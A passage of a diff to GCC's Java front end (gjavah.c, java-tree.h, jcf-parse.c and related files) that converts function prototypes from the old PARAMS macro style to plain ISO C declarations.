expand_java_ret PARAMS ((tree)); +static void expand_java_call (int, int); +static void expand_java_ret (tree); #endif -static tree pop_arguments PARAMS ((tree)); -static void expand_invoke PARAMS ((int, int, int)); -static void expand_java_field_op PARAMS ((int, int, int)); -static void java_push_constant_from_pool PARAMS ((struct JCF *, int)); -static void java_stack_pop PARAMS ((int)); -static tree build_java_throw_out_of_bounds_exception PARAMS ((tree)); -static tree build_java_check_indexed_type PARAMS ((tree, tree)); -static tree case_identity PARAMS ((tree, tree)); -static unsigned char peek_opcode_at_pc PARAMS ((struct JCF *, int, int)); -static int emit_init_test_initialization PARAMS ((void **entry, - void * ptr)); -static int get_offset_table_index PARAMS ((tree)); +static tree pop_arguments (tree); +static void expand_invoke (int, int, int); +static void expand_java_field_op (int, int, int); +static void java_push_constant_from_pool (struct JCF *, int); +static void java_stack_pop (int); +static tree build_java_throw_out_of_bounds_exception (tree); +static tree build_java_check_indexed_type (tree, tree); +static tree case_identity (tree, tree); +static unsigned char peek_opcode_at_pc (struct JCF *, int, int); +static int emit_init_test_initialization (void **entry, void * ptr); +static int get_offset_table_index (tree); static GTY(()) tree operand_type[59]; diff -rup orig/egcc-CVS20030109/gcc/java/gjavah.c egcc-CVS20030109/gcc/java/gjavah.c --- orig/egcc-CVS20030109/gcc/java/gjavah.c Thu Jan 9 13:57:46 2003 +++ egcc-CVS20030109/gcc/java/gjavah.c Thu Jan 9 14:15:33 2003 @@ -123,43 +123,41 @@ struct method_name /* List of method names we've seen. */ static struct method_name *method_name_list; -static void print_field_info PARAMS ((FILE*, JCF*, int, int, JCF_u2)); -static void print_mangled_classname PARAMS ((FILE*, JCF*, const char*, int)); -static int print_cxx_classname PARAMS ((FILE*, const char*, JCF*, int, int)); -static void print_method_info PARAMS ((FILE*, JCF*, int, int, JCF_u2)); -static void print_c_decl PARAMS ((FILE*, JCF*, int, int, int, const char *, - int)); -static void print_stub_or_jni PARAMS ((FILE*, JCF*, int, int, int, - const char *, int)); -static void print_full_cxx_name PARAMS ((FILE*, JCF*, int, int, int, - const char *, int)); -static void decompile_method PARAMS ((FILE*, JCF*, int)); -static void add_class_decl PARAMS ((FILE*, JCF*, JCF_u2)); - -static int java_float_finite PARAMS ((jfloat)); -static int java_double_finite PARAMS ((jdouble)); -static void print_name PARAMS ((FILE *, JCF *, int)); -static void print_base_classname PARAMS ((FILE *, JCF *, int)); -static int utf8_cmp PARAMS ((const unsigned char *, int, const char *)); -static char *cxx_keyword_subst PARAMS ((const unsigned char *, int)); -static void generate_access PARAMS ((FILE *, JCF_u2)); -static int name_is_method_p PARAMS ((const unsigned char *, int)); -static char *get_field_name PARAMS ((JCF *, int, JCF_u2)); -static void print_field_name PARAMS ((FILE *, JCF *, int, JCF_u2)); -static const unsigned char *super_class_name PARAMS ((JCF *, int *)); -static void print_include PARAMS ((FILE *, const unsigned char *, int)); -static int gcjh_streq PARAMS ((const void *p1, const void *p2)); -static int throwable_p PARAMS ((const unsigned char *signature)); -static const unsigned char *decode_signature_piece - PARAMS ((FILE *, const unsigned char *, const unsigned char *, int *)); -static void print_class_decls PARAMS ((FILE *, JCF *, int)); -static void usage PARAMS ((void)) ATTRIBUTE_NORETURN; -static void help PARAMS ((void)) ATTRIBUTE_NORETURN; -static void version PARAMS ((void)) ATTRIBUTE_NORETURN; -static int overloaded_jni_method_exists_p PARAMS ((const unsigned char *, int, - const char *, int)); -static void jni_print_char PARAMS ((FILE *, int)); -static void decompile_return_statement PARAMS ((FILE *, JCF *, int, int, int)); +static void print_field_info (FILE*, JCF*, int, int, JCF_u2); +static void print_mangled_classname (FILE*, JCF*, const char*, int); +static int print_cxx_classname (FILE*, const char*, JCF*, int, int); +static void print_method_info (FILE*, JCF*, int, int, JCF_u2); +static void print_c_decl (FILE*, JCF*, int, int, int, const char *, int); +static void print_stub_or_jni (FILE*, JCF*, int, int, int, const char *, int); +static void print_full_cxx_name (FILE*, JCF*, int, int, int, const char *, int); +static void decompile_method (FILE*, JCF*, int); +static void add_class_decl (FILE*, JCF*, JCF_u2); + +static int java_float_finite (jfloat); +static int java_double_finite (jdouble); +static void print_name (FILE *, JCF *, int); +static void print_base_classname (FILE *, JCF *, int); +static int utf8_cmp (const unsigned char *, int, const char *); +static char *cxx_keyword_subst (const unsigned char *, int); +static void generate_access (FILE *, JCF_u2); +static int name_is_method_p (const unsigned char *, int); +static char *get_field_name (JCF *, int, JCF_u2); +static void print_field_name (FILE *, JCF *, int, JCF_u2); +static const unsigned char *super_class_name (JCF *, int *); +static void print_include (FILE *, const unsigned char *, int); +static int gcjh_streq (const void *p1, const void *p2); +static int throwable_p (const unsigned char *signature); +static const unsigned char * + decode_signature_piece (FILE *, const unsigned char *, + const unsigned char *, int *); +static void print_class_decls (FILE *, JCF *, int); +static void usage (void) ATTRIBUTE_NORETURN; +static void help (void) ATTRIBUTE_NORETURN; +static void version (void) ATTRIBUTE_NORETURN; +static int overloaded_jni_method_exists_p (const unsigned char *, int, + const char *, int); +static void jni_print_char (FILE *, int); +static void decompile_return_statement (FILE *, JCF *, int, int, int); JCF_u2 current_field_name; JCF_u2 current_field_value; @@ -1755,9 +1753,9 @@ struct namelet struct namelet *next; }; -static void add_namelet PARAMS ((const unsigned char *, - const unsigned char *, struct namelet *)); -static void print_namelet PARAMS ((FILE *, struct namelet *, int)); +static void add_namelet (const unsigned char *, const unsigned char *, + struct namelet *); +static void print_namelet (FILE *, struct namelet *, int); /* The special root namelet. */ static struct namelet root = diff -rup orig/egcc-CVS20030109/gcc/java/java-except.h egcc-CVS20030109/gcc/java/java-except.h --- orig/egcc-CVS20030109/gcc/java/java-except.h Wed Jan 1 16:00:35 2003 +++ egcc-CVS20030109/gcc/java/java-except.h Thu Jan 9 14:16:17 2003 @@ -57,18 +57,11 @@ extern struct eh_range whole_range; #define NULL_EH_RANGE (&whole_range) -extern struct eh_range * find_handler PARAMS ((int)); - -extern void method_init_exceptions PARAMS ((void)); - -extern void emit_handlers PARAMS ((void)); - -extern void maybe_start_try PARAMS ((int, int)); - -extern void maybe_end_try PARAMS ((int, int)); - -extern void add_handler PARAMS ((int, int, tree, tree)); - -extern void handle_nested_ranges PARAMS ((void)); - -extern void expand_resume_after_catch PARAMS ((void)); +extern struct eh_range * find_handler (int); +extern void method_init_exceptions (void); +extern void emit_handlers (void); +extern void maybe_start_try (int, int); +extern void maybe_end_try (int, int); +extern void add_handler (int, int, tree, tree); +extern void handle_nested_ranges (void); +extern void expand_resume_after_catch (void); diff -rup orig/egcc-CVS20030109/gcc/java/java-tree.h egcc-CVS20030109/gcc/java/java-tree.h --- orig/egcc-CVS20030109/gcc/java/java-tree.h Wed Jan 8 16:00:57 2003 +++ egcc-CVS20030109/gcc/java/java-tree.h Thu Jan 9 14:47:11 2003 @@ -1001,9 +1001,9 @@ struct treetreehash_entry GTY(()) tree value; }; -extern tree java_treetreehash_find PARAMS ((htab_t, tree)); -extern tree * java_treetreehash_new PARAMS ((htab_t, tree)); -extern htab_t java_treetreehash_create PARAMS ((size_t size, int ggc)); +extern tree java_treetreehash_find (htab_t, tree); +extern tree * java_treetreehash_new (htab_t, tree); +extern htab_t java_treetreehash_create (size_t size, int ggc); /* DECL_LANG_SPECIFIC for VAR_DECL, PARM_DECL and sometimes FIELD_DECL (access methods on outer class fields) and final fields. */ @@ -1088,221 +1088,216 @@ struct lang_type GTY(()) #define JCF_u4 unsigned long #define JCF_u2 unsigned short -extern void java_parse_file PARAMS ((int)); -extern bool java_mark_addressable PARAMS ((tree)); -extern tree java_type_for_mode PARAMS ((enum machine_mode, int)); -extern tree java_type_for_size PARAMS ((unsigned int, int)); -extern tree java_unsigned_type PARAMS ((tree)); -extern tree java_signed_type PARAMS ((tree)); -extern tree java_signed_or_unsigned_type PARAMS ((int, tree)); -extern tree java_truthvalue_conversion PARAMS ((tree)); -extern void add_assume_compiled PARAMS ((const char *, int)); -extern tree lookup_class PARAMS ((tree)); -extern tree lookup_java_constructor PARAMS ((tree, tree)); -extern tree lookup_java_method PARAMS ((tree, tree, tree)); -extern tree lookup_argument_method PARAMS ((tree, tree, tree)); -extern tree lookup_argument_method2 PARAMS ((tree, tree, tree)); -extern int has_method PARAMS ((tree, tree)); -extern tree promote_type PARAMS ((tree)); -extern tree get_constant PARAMS ((struct JCF*, int)); -extern tree get_name_constant PARAMS ((struct JCF*, int)); -extern tree get_class_constant PARAMS ((struct JCF*, int)); -extern tree parse_signature PARAMS ((struct JCF *jcf, int sig_index)); -extern tree add_field PARAMS ((tree, tree, tree, int)); -extern tree add_method PARAMS ((tree, int, tree, tree)); -extern tree add_method_1 PARAMS ((tree, int, tree, tree)); -extern tree make_class PARAMS ((void)); -extern tree push_class PARAMS ((tree, tree)); -extern tree unmangle_classname PARAMS ((const char *name, int name_length)); -extern tree parse_signature_string PARAMS ((const unsigned char *, int)); -extern tree get_type_from_signature PARAMS ((tree)); -extern void layout_class PARAMS ((tree)); -extern tree layout_class_method PARAMS ((tree, tree, tree, tree)); -extern void layout_class_methods PARAMS ((tree)); -extern tree build_class_ref PARAMS ((tree)); -extern tree build_dtable_decl PARAMS ((tree)); -extern tree build_internal_class_name PARAMS ((tree)); -extern tree build_constants_constructor PARAMS ((void)); -extern tree build_ref_from_constant_pool PARAMS ((int)); -extern void compile_resource_file PARAMS ((char *, const char *)); -extern tree build_utf8_ref PARAMS ((tree)); -extern tree ident_subst PARAMS ((const char*, int, - const char*, int, int, const char*)); -extern tree identifier_subst PARAMS ((const tree, - const char *, int, int, const char *)); -extern int global_bindings_p PARAMS ((void)); -extern int kept_level_p PARAMS ((void)); -extern tree getdecls PARAMS ((void)); -extern void pushlevel PARAMS ((int)); -extern tree poplevel PARAMS ((int,int, int)); -extern void insert_block PARAMS ((tree)); -extern void set_block PARAMS ((tree)); -extern tree pushdecl PARAMS ((tree)); -extern void java_init_decl_processing PARAMS ((void)); -extern void java_dup_lang_specific_decl PARAMS ((tree)); -extern tree build_java_signature PARAMS ((tree)); -extern tree build_java_argument_signature PARAMS ((tree)); -extern void set_java_signature PARAMS ((tree, tree)); -extern tree build_static_field_ref PARAMS ((tree)); -extern tree build_address_of PARAMS ((tree)); -extern tree find_local_variable PARAMS ((int index, tree type, int pc)); -extern tree find_stack_slot PARAMS ((int index, tree type)); -extern tree build_prim_array_type PARAMS ((tree, HOST_WIDE_INT)); -extern tree build_java_array_type PARAMS ((tree, HOST_WIDE_INT)); -extern int is_compiled_class PARAMS ((tree)); -extern tree mangled_classname PARAMS ((const char*, tree)); -extern tree lookup_label PARAMS ((int)); -extern tree pop_type_0 PARAMS ((tree, char**)); -extern tree pop_type PARAMS ((tree)); -extern tree decode_newarray_type PARAMS ((int)); -extern tree lookup_field PARAMS ((tree*, tree)); -extern int is_array_type_p PARAMS ((tree)); -extern HOST_WIDE_INT java_array_type_length PARAMS ((tree)); -extern int read_class PARAMS ((tree)); -extern void load_class PARAMS ((tree, int)); - -extern tree check_for_builtin PARAMS ((tree, tree)); -extern void initialize_builtins PARAMS ((void)); - -extern tree lookup_name PARAMS ((tree)); -extern tree build_known_method_ref PARAMS ((tree, tree, tree, tree, tree)); -extern tree build_class_init PARAMS ((tree, tree)); -extern tree build_invokevirtual PARAMS ((tree, tree)); -extern tree build_invokeinterface PARAMS ((tree, tree)); -extern tree build_jni_stub PARAMS ((tree)); -extern tree invoke_build_dtable PARAMS ((int, tree)); -extern tree build_field_ref PARAMS ((tree, tree, tree)); -extern void pushdecl_force_head PARAMS ((tree)); -extern tree build_java_binop PARAMS ((enum tree_code, tree, tree, tree)); -extern tree build_java_soft_divmod PARAMS ((enum tree_code, tree, tree, tree)); -extern tree binary_numeric_promotion PARAMS ((tree, tree, tree *, tree *)); -extern tree build_java_arrayaccess PARAMS ((tree, tree, tree)); -extern tree build_java_arraystore_check PARAMS ((tree, tree)); -extern tree build_newarray PARAMS ((int, tree)); -extern tree build_anewarray PARAMS ((tree, tree)); -extern tree build_new_array PARAMS ((tree, tree)); -extern tree build_java_array_length_access PARAMS ((tree)); -extern tree build_java_arraynull_check PARAMS ((tree, tree, tree)); -extern tree build_java_indirect_ref PARAMS ((tree, tree, int)); -extern tree java_check_reference PARAMS ((tree, int)); -extern tree build_get_class PARAMS ((tree)); -extern tree build_instanceof PARAMS ((tree, tree)); -extern tree create_label_decl PARAMS ((tree)); -extern void push_labeled_block PARAMS ((tree)); -extern tree prepare_eh_table_type PARAMS ((tree)); -extern tree build_exception_object_ref PARAMS ((tree)); -extern tree generate_name PARAMS ((void)); -extern void pop_labeled_block PARAMS ((void)); -extern const char *lang_printable_name PARAMS ((tree, int)); -extern tree maybe_add_interface PARAMS ((tree, tree)); -extern void set_super_info PARAMS ((int, tree, tree, int)); -extern void set_class_decl_access_flags PARAMS ((int, tree)); -extern int get_access_flags_from_decl PARAMS ((tree)); -extern int interface_of_p PARAMS ((tree, tree)); -extern int inherits_from_p PARAMS ((tree, tree)); -extern int common_enclosing_context_p PARAMS ((tree, tree)); -extern int enclosing_context_p PARAMS ((tree, tree)); -extern void complete_start_java_method PARAMS ((tree)); -extern tree build_result_decl PARAMS ((tree)); -extern void emit_handlers PARAMS ((void)); -extern void init_outgoing_cpool PARAMS ((void)); -extern void make_class_data PARAMS ((tree)); -extern void register_class PARAMS ((void)); -extern int alloc_name_constant PARAMS ((int, tree)); -extern void emit_register_classes PARAMS ((void)); -extern void emit_offset_symbol_table PARAMS ((void)); -extern void lang_init_source PARAMS ((int)); -extern void write_classfile PARAMS ((tree)); -extern char *print_int_node PARAMS ((tree)); -extern void parse_error_context PARAMS ((tree cl, const char *, ...)) +extern void java_parse_file (int); +extern bool java_mark_addressable (tree); +extern tree java_type_for_mode (enum machine_mode, int); +extern tree java_type_for_size (unsigned int, int); +extern tree java_unsigned_type (tree); +extern tree java_signed_type (tree); +extern tree java_signed_or_unsigned_type (int, tree); +extern tree java_truthvalue_conversion (tree); +extern void add_assume_compiled (const char *, int); +extern tree lookup_class (tree); +extern tree lookup_java_constructor (tree, tree); +extern tree lookup_java_method (tree, tree, tree); +extern tree lookup_argument_method (tree, tree, tree); +extern tree lookup_argument_method2 (tree, tree, tree); +extern int has_method (tree, tree); +extern tree promote_type (tree); +extern tree get_constant (struct JCF*, int); +extern tree get_name_constant (struct JCF*, int); +extern tree get_class_constant (struct JCF*, int); +extern tree parse_signature (struct JCF *jcf, int sig_index); +extern tree add_field (tree, tree, tree, int); +extern tree add_method (tree, int, tree, tree); +extern tree add_method_1 (tree, int, tree, tree); +extern tree make_class (void); +extern tree push_class (tree, tree); +extern tree unmangle_classname (const char *name, int name_length); +extern tree parse_signature_string (const unsigned char *, int); +extern tree get_type_from_signature (tree); +extern void layout_class (tree); +extern tree layout_class_method (tree, tree, tree, tree); +extern void layout_class_methods (tree); +extern tree build_class_ref (tree); +extern tree build_dtable_decl (tree); +extern tree build_internal_class_name (tree); +extern tree build_constants_constructor (void); +extern tree build_ref_from_constant_pool (int); +extern void compile_resource_file (char *, const char *); +extern tree build_utf8_ref (tree); +extern tree ident_subst (const char*, int, const char*, int, int, const char*); +extern tree identifier_subst (const tree, const char *, int, int, const char *); +extern int global_bindings_p (void); +extern int kept_level_p (void); +extern tree getdecls (void); +extern void pushlevel (int); +extern tree poplevel (int,int, int); +extern void insert_block (tree); +extern void set_block (tree); +extern tree pushdecl (tree); +extern void java_init_decl_processing (void); +extern void java_dup_lang_specific_decl (tree); +extern tree build_java_signature (tree); +extern tree build_java_argument_signature (tree); +extern void set_java_signature (tree, tree); +extern tree build_static_field_ref (tree); +extern tree build_address_of (tree); +extern tree find_local_variable (int index, tree type, int pc); +extern tree find_stack_slot (int index, tree type); +extern tree build_prim_array_type (tree, HOST_WIDE_INT); +extern tree build_java_array_type (tree, HOST_WIDE_INT); +extern int is_compiled_class (tree); +extern tree mangled_classname (const char*, tree); +extern tree lookup_label (int); +extern tree pop_type_0 (tree, char**); +extern tree pop_type (tree); +extern tree decode_newarray_type (int); +extern tree lookup_field (tree*, tree); +extern int is_array_type_p (tree); +extern HOST_WIDE_INT java_array_type_length (tree); +extern int read_class (tree); +extern void load_class (tree, int); + +extern tree check_for_builtin (tree, tree); +extern void initialize_builtins (void); + +extern tree lookup_name (tree); +extern tree build_known_method_ref (tree, tree, tree, tree, tree); +extern tree build_class_init (tree, tree); +extern tree build_invokevirtual (tree, tree); +extern tree build_invokeinterface (tree, tree); +extern tree build_jni_stub (tree); +extern tree invoke_build_dtable (int, tree); +extern tree build_field_ref (tree, tree, tree); +extern void pushdecl_force_head (tree); +extern tree build_java_binop (enum tree_code, tree, tree, tree); +extern tree build_java_soft_divmod (enum tree_code, tree, tree, tree); +extern tree binary_numeric_promotion (tree, tree, tree *, tree *); +extern tree build_java_arrayaccess (tree, tree, tree); +extern tree build_java_arraystore_check (tree, tree); +extern tree build_newarray (int, tree); +extern tree build_anewarray (tree, tree); +extern tree build_new_array (tree, tree); +extern tree build_java_array_length_access (tree); +extern tree build_java_arraynull_check (tree, tree, tree); +extern tree build_java_indirect_ref (tree, tree, int); +extern tree java_check_reference (tree, int); +extern tree build_get_class (tree); +extern tree build_instanceof (tree, tree); +extern tree create_label_decl (tree); +extern void push_labeled_block (tree); +extern tree prepare_eh_table_type (tree); +extern tree build_exception_object_ref (tree); +extern tree generate_name (void); +extern void pop_labeled_block (void); +extern const char *lang_printable_name (tree, int); +extern tree maybe_add_interface (tree, tree); +extern void set_super_info (int, tree, tree, int); +extern void set_class_decl_access_flags (int, tree); +extern int get_access_flags_from_decl (tree); +extern int interface_of_p (tree, tree); +extern int inherits_from_p (tree, tree); +extern int common_enclosing_context_p (tree, tree); +extern int enclosing_context_p (tree, tree); +extern void complete_start_java_method (tree); +extern tree build_result_decl (tree); +extern void emit_handlers (void); +extern void init_outgoing_cpool (void); +extern void make_class_data (tree); +extern void register_class (void); +extern int alloc_name_constant (int, tree); +extern void emit_register_classes (void); +extern void emit_offset_symbol_table (void); +extern void lang_init_source (int); +extern void write_classfile (tree); +extern char *print_int_node (tree); +extern void parse_error_context (tree cl, const char *, ...) ATTRIBUTE_PRINTF_2; -extern void finish_class PARAMS ((void)); -extern void java_layout_seen_class_methods PARAMS ((void)); -extern void check_for_initialization PARAMS ((tree, tree)); - -extern tree pushdecl_top_level PARAMS ((tree)); -extern int alloc_class_constant PARAMS ((tree)); -extern void init_expr_processing PARAMS ((void)); -extern void push_super_field PARAMS ((tree, tree)); -extern void init_class_processing PARAMS ((void)); -extern int can_widen_reference_to PARAMS ((tree, tree)); -extern int class_depth PARAMS ((tree)); -extern int verify_jvm_instructions PARAMS ((struct JCF *, const unsigned char *, long)); -extern void maybe_pushlevels PARAMS ((int)); -extern void maybe_poplevels PARAMS ((int)); -extern void force_poplevels PARAMS ((int)); -extern int process_jvm_instruction PARAMS ((int, const unsigned char *, long)); -extern int maybe_adjust_start_pc PARAMS ((struct JCF *, int, int, int)); -extern void set_local_type PARAMS ((int, tree)); -extern int merge_type_state PARAMS ((tree)); -extern int push_type_0 PARAMS ((tree)); -extern void push_type PARAMS ((tree)); -extern void load_type_state PARAMS ((tree)); -extern void add_interface PARAMS ((tree, tree)); -extern tree force_evaluation_order PARAMS ((tree)); -extern int verify_constant_pool PARAMS ((struct JCF *)); -extern void start_java_method PARAMS ((tree)); -extern void end_java_method PARAMS ((void)); -extern void give_name_to_locals PARAMS ((struct JCF *)); -extern void note_instructions PARAMS ((struct JCF *, tree)); -extern void expand_byte_code PARAMS ((struct JCF *, tree)); -extern int open_in_zip PARAMS ((struct JCF *, const char *, const char *, int)); -extern void set_constant_value PARAMS ((tree, tree)); +extern void finish_class (void); +extern void java_layout_seen_class_methods (void); +extern void check_for_initialization (tree, tree); + +extern tree pushdecl_top_level (tree); +extern int alloc_class_constant (tree); +extern void init_expr_processing (void); +extern void push_super_field (tree, tree); +extern void init_class_processing (void); +extern int can_widen_reference_to (tree, tree); +extern int class_depth (tree); +extern int verify_jvm_instructions (struct JCF *, const unsigned char *, long); +extern void maybe_pushlevels (int); +extern void maybe_poplevels (int); +extern void force_poplevels (int); +extern int process_jvm_instruction (int, const unsigned char *, long); +extern int maybe_adjust_start_pc (struct JCF *, int, int, int); +extern void set_local_type (int, tree); +extern int merge_type_state (tree); +extern int push_type_0 (tree); +extern void push_type (tree); +extern void load_type_state (tree); +extern void add_interface (tree, tree); +extern tree force_evaluation_order (tree); +extern int verify_constant_pool (struct JCF *); +extern void start_java_method (tree); +extern void end_java_method (void); +extern void give_name_to_locals (struct JCF *); +extern void note_instructions (struct JCF *, tree); +extern void expand_byte_code (struct JCF *, tree); +extern int open_in_zip (struct JCF *, const char *, const char *, int); +extern void set_constant_value (tree, tree); #ifdef jword -extern int find_constant1 PARAMS ((struct CPool *, int, jword)); -extern int find_constant2 PARAMS ((struct CPool *, int, jword, jword)); +extern int find_constant1 (struct CPool *, int, jword); +extern int find_constant2 (struct CPool *, int, jword, jword); #endif -extern int find_utf8_constant PARAMS ((struct CPool *, tree)); -extern int find_string_constant PARAMS ((struct CPool *, tree)); -extern int find_class_constant PARAMS ((struct CPool *, tree)); -extern int find_fieldref_index PARAMS ((struct CPool *, tree)); -extern int find_methodref_index PARAMS ((struct CPool *, tree)); -extern int find_methodref_with_class_index PARAMS ((struct CPool *, tree, tree)); -extern void write_constant_pool PARAMS ((struct CPool *, unsigned char *, int)); -extern int count_constant_pool_bytes PARAMS ((struct CPool *)); -extern int encode_newarray_type PARAMS ((tree)); +extern int find_utf8_constant (struct CPool *, tree); +extern int find_string_constant (struct CPool *, tree); +extern int find_class_constant (struct CPool *, tree); +extern int find_fieldref_index (struct CPool *, tree); +extern int find_methodref_index (struct CPool *, tree); +extern int find_methodref_with_class_index (struct CPool *, tree, tree); +extern void write_constant_pool (struct CPool *, unsigned char *, int); +extern int count_constant_pool_bytes (struct CPool *); +extern int encode_newarray_type (tree); #ifdef uint64 -extern void format_int PARAMS ((char *, jlong, int)); -extern void format_uint PARAMS ((char *, uint64, int)); +extern void format_int (char *, jlong, int); +extern void format_uint (char *, uint64, int); #endif -extern void jcf_trim_old_input PARAMS ((struct JCF *)); +extern void jcf_trim_old_input (struct JCF *); #ifdef BUFSIZ -extern void jcf_print_utf8 PARAMS ((FILE *, const unsigned char *, int)); -extern void jcf_print_char PARAMS ((FILE *, int)); -extern void jcf_print_utf8_replace PARAMS ((FILE *, const unsigned char *, - int, int, int)); -extern const char* open_class PARAMS ((const char *, struct JCF *, - int, const char *)); +extern void jcf_print_utf8 (FILE *, const unsigned char *, int); +extern void jcf_print_char (FILE *, int); +extern void jcf_print_utf8_replace (FILE *, const unsigned char *, int, int, int); +extern const char* open_class (const char *, struct JCF *, int, const char *); #endif -extern void java_debug_context PARAMS ((void)); -extern void safe_layout_class PARAMS ((tree)); +extern void java_debug_context (void); +extern void safe_layout_class (tree); -extern tree get_boehm_type_descriptor PARAMS ((tree)); -extern bool class_has_finalize_method PARAMS ((tree)); -extern void java_check_methods PARAMS ((tree)); -extern void init_jcf_parse PARAMS((void)); -extern void init_src_parse PARAMS((void)); - -extern int cxx_keyword_p PARAMS ((const char *, int)); -extern tree java_mangle_decl PARAMS ((struct obstack *, tree)); -extern tree java_mangle_class_field PARAMS ((struct obstack *, tree)); -extern tree java_mangle_class_field_from_string PARAMS ((struct obstack *, char *)); -extern tree java_mangle_vtable PARAMS ((struct obstack *, tree)); -extern const char *lang_printable_name_wls PARAMS ((tree, int)); -extern void append_gpp_mangled_name PARAMS ((const char *, int)); +extern tree get_boehm_type_descriptor (tree); +extern bool class_has_finalize_method (tree); +extern void java_check_methods (tree); +extern void init_jcf_parse (void); +extern void init_src_parse (void); + +extern int cxx_keyword_p (const char *, int); +extern tree java_mangle_decl (struct obstack *, tree); +extern tree java_mangle_class_field (struct obstack *, tree); +extern tree java_mangle_class_field_from_string (struct obstack *, char *); +extern tree java_mangle_vtable (struct obstack *, tree); +extern const char *lang_printable_name_wls (tree, int); +extern void append_gpp_mangled_name (const char *, int); -extern void add_predefined_file PARAMS ((tree)); -extern int predefined_filename_p PARAMS ((tree)); +extern void add_predefined_file (tree); +extern int predefined_filename_p (tree); -extern void java_optimize_inline PARAMS ((tree)); -extern tree decl_constant_value PARAMS ((tree)); +extern void java_optimize_inline (tree); +extern tree decl_constant_value (tree); #if defined(RTX_CODE) && defined (HAVE_MACHINE_MODES) -struct rtx_def * java_expand_expr PARAMS ((tree, rtx, enum machine_mode, - int)); +struct rtx_def * java_expand_expr (tree, rtx, enum machine_mode, int); #endif -extern void java_inlining_merge_static_initializers PARAMS ((tree, void *)); -extern void java_inlining_map_static_initializers PARAMS ((tree, void *)); +extern void java_inlining_merge_static_initializers (tree, void *); +extern void java_inlining_map_static_initializers (tree, void *); #define DECL_FINAL(DECL) DECL_LANG_FLAG_3 (DECL) diff -rup orig/egcc-CVS20030109/gcc/java/jcf-dump.c egcc-CVS20030109/gcc/java/jcf-dump.c --- orig/egcc-CVS20030109/gcc/java/jcf-dump.c Thu Jan 9 13:57:46 2003 +++ egcc-CVS20030109/gcc/java/jcf-dump.c Thu Jan 9 14:16:46 2003 @@ -91,21 +91,21 @@ int class_access_flags = 0; /* Print in format similar to javap. VERY IMCOMPLETE. */ int flag_javap_compatible = 0; -static void print_access_flags PARAMS ((FILE *, uint16, char)); -static void print_constant_terse PARAMS ((FILE*, JCF*, int, int)); -static void print_constant PARAMS ((FILE *, JCF *, int, int)); -static void print_constant_ref PARAMS ((FILE *, JCF *, int)); -static void disassemble_method PARAMS ((JCF*, const unsigned char *, int)); -static void print_name PARAMS ((FILE*, JCF*, int)); -static void print_signature PARAMS ((FILE*, JCF*, int, int)); -static int utf8_equal_string PARAMS ((struct JCF*, int, const char *)); -static void usage PARAMS ((void)) ATTRIBUTE_NORETURN; -static void help PARAMS ((void)) ATTRIBUTE_NORETURN; -static void version PARAMS ((void)) ATTRIBUTE_NORETURN; -static void process_class PARAMS ((struct JCF *)); -static void print_constant_pool PARAMS ((struct JCF *)); -static void print_exception_table PARAMS ((struct JCF *, - const unsigned char *entries, int)); +static void print_access_flags (FILE *, uint16, char); +static void print_constant_terse (FILE*, JCF*, int, int); +static void print_constant (FILE *, JCF *, int, int); +static void print_constant_ref (FILE *, JCF *, int); +static void disassemble_method (JCF*, const unsigned char *, int); +static void print_name (FILE*, JCF*, int); +static void print_signature (FILE*, JCF*, int, int); +static int utf8_equal_string (struct JCF*, int, const char *); +static void usage (void) ATTRIBUTE_NORETURN; +static void help (void) ATTRIBUTE_NORETURN; +static void version (void) ATTRIBUTE_NORETURN; +static void process_class (struct JCF *); +static void print_constant_pool (struct JCF *); +static void print_exception_table (struct JCF *, const unsigned char *entries, + int); #define PRINT_SIGNATURE_RESULT_ONLY 1 #define PRINT_SIGNATURE_ARGS_ONLY 2 diff -rup orig/egcc-CVS20030109/gcc/java/jcf-parse.c egcc-CVS20030109/gcc/java/jcf-parse.c --- orig/egcc-CVS20030109/gcc/java/jcf-parse.c Wed Jan 1 16:00:36 2003 +++ egcc-CVS20030109/gcc/java/jcf-parse.c Thu Jan 9 14:17:15 2003 @@ -91,18 +91,18 @@ static struct JCF main_jcf[1]; static struct ZipFile *localToFile; /* Declarations of some functions used here. */ -static void handle_innerclass_attribute PARAMS ((int count, JCF *)); -static tree give_name_to_class PARAMS ((JCF *jcf, int index)); -static void parse_zip_file_entries PARAMS ((void)); -static void process_zip_dir PARAMS ((FILE *)); -static void parse_source_file_1 PARAMS ((tree, FILE *)); -static void parse_source_file_2 PARAMS ((void)); -static void parse_source_file_3 PARAMS ((void)); -static void parse_class_file PARAMS ((void)); -static void set_source_filename PARAMS ((JCF *, int)); -static void ggc_mark_jcf PARAMS ((void**)); -static void jcf_parse PARAMS ((struct JCF*)); -static void load_inner_classes PARAMS ((tree)); +static void handle_innerclass_attribute (int count, JCF *); +static tree give_name_to_class (JCF *jcf, int index); +static void parse_zip_file_entries (void); +static void process_zip_dir (FILE *); +static void parse_source_file_1 (tree, FILE *); +static void parse_source_file_2 (void); +static void parse_source_file_3 (void); +static void parse_class_file (void); +static void set_source_filename (JCF *, int); +static void ggc_mark_jcf (void**); +static void jcf_parse (struct JCF*); +static void load_inner_classes (tree); /* Mark (for garbage collection) all the tree nodes that are referenced from JCF's constant pool table. Do that only if the JCF diff -rup orig/egcc-CVS20030109/gcc/java/jcf-path.c egcc-CVS20030109/gcc/java/jcf-path.c --- orig/egcc-CVS20030109/gcc/java/jcf-path.c Wed Jan 1 16:00:36 2003 +++ egcc-CVS20030109/gcc/java/jcf-path.c Thu Jan 9 14:18:01 2003 @@ -62,10 +62,10 @@ struct entry struct entry *next; }; -static void free_entry PARAMS ((struct entry **)); -static void append_entry PARAMS ((struct entry **, struct entry *)); -static void add_entry PARAMS ((struct entry **, const char *, int)); -static void add_path PARAMS ((struct entry **, const char *, int)); +static void free_entry (struct entry **); +static void append_entry (struct entry **, struct entry *); +static void add_entry (struct entry **, const char *, int); +static void add_path (struct entry **, const char *, int); /* We support several different ways to set the class path. diff -rup orig/egcc-CVS20030109/gcc/java/jcf-reader.c egcc-CVS20030109/gcc/java/jcf-reader.c --- orig/egcc-CVS20030109/gcc/java/jcf-reader.c Thu Jan 9 13:57:46 2003 +++ egcc-CVS20030109/gcc/java/jcf-reader.c Thu Jan 9 14:18:17 2003 @@ -28,19 +28,19 @@ The Free Software Foundation is independ #include "jcf.h" #include "zipfile.h" -static int get_attribute PARAMS ((JCF *)); -static int jcf_parse_preamble PARAMS ((JCF *)); -static int jcf_parse_constant_pool PARAMS ((JCF *)); -static void jcf_parse_class PARAMS ((JCF *)); -static int jcf_parse_fields PARAMS ((JCF *)); -static int jcf_parse_one_method PARAMS ((JCF *)); -static int jcf_parse_methods PARAMS ((JCF *)); -static int 